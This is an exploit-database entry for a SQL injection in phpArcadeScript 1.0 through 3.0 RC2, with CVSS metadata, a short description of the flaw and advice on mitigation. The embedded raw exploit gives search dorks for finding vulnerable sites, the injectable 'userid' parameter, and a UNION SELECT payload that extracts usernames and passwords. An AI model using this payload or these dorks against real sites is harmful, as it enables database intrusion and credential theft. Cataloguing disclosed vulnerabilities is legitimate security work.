phpArcadeScript (all version) Remote Sql Injection Exploit

vendor:

phpArcadeScript

by:

SoSo H H (Iraqi-Cracker)

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: phpArcadeScript

Affected Version From: 1

Affected Version To: 3.0 RC2

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Versions:1.0,2.0,3.0 RC1 &RC2

2009

phpArcadeScript (all version) Remote Sql Injection Exploit

An attacker can exploit this vulnerability by sending malicious SQL queries to the vulnerable parameter 'userid' in the 'index.php' page. This can allow the attacker to gain access to the database and extract sensitive information such as usernames and passwords.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should also use parameterized queries to prevent SQL injection.

Source

Exploit-DB raw data:

############################################################################
# phpArcadeScript (all version) Remote Sql Injection Exploit               #
#                                                                          #
# AUTHOR:SoSo H H (Iraqi-Cracker)                                          #
#                                                                          #
# Script Site: http://www.phparcadescript.com/                             #
#                                                                          #
# Price:$30.00                                                             #
#                                                                          #
# Tested on: Versions:1.0,2.0,3.0 RC1 &RC2                                 #
#                                                                          #
# Dorks:"Powered by phpArcadeScript v1.0"                                  #
#       "Powered by phpArcadeScript v2.0"                                  #
#       "Powered by phpArcadeScript v3.0RC1"                               #
#       "Powered by phpArcadeScript v3.0RC2"                               #
############################################################################
# Exploit in:                                                              #
# index.php?action=profile&userid=(SQL)                                    #
#                                                                          #
# Example:                                                                 #
#                                                                          #
# (SQL)=1+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+users/*#
############################################################################
# Greetz:                                                                  #
# L!0N,El Mariachi,My Sweet,Shadow Administrator,-=Miz0=-,Iraqi-KoRn       #
# Mini.Spider,and All 7shasha Boards Members!                              #
############################################################################  

# milw0rm.com [2008-03-01]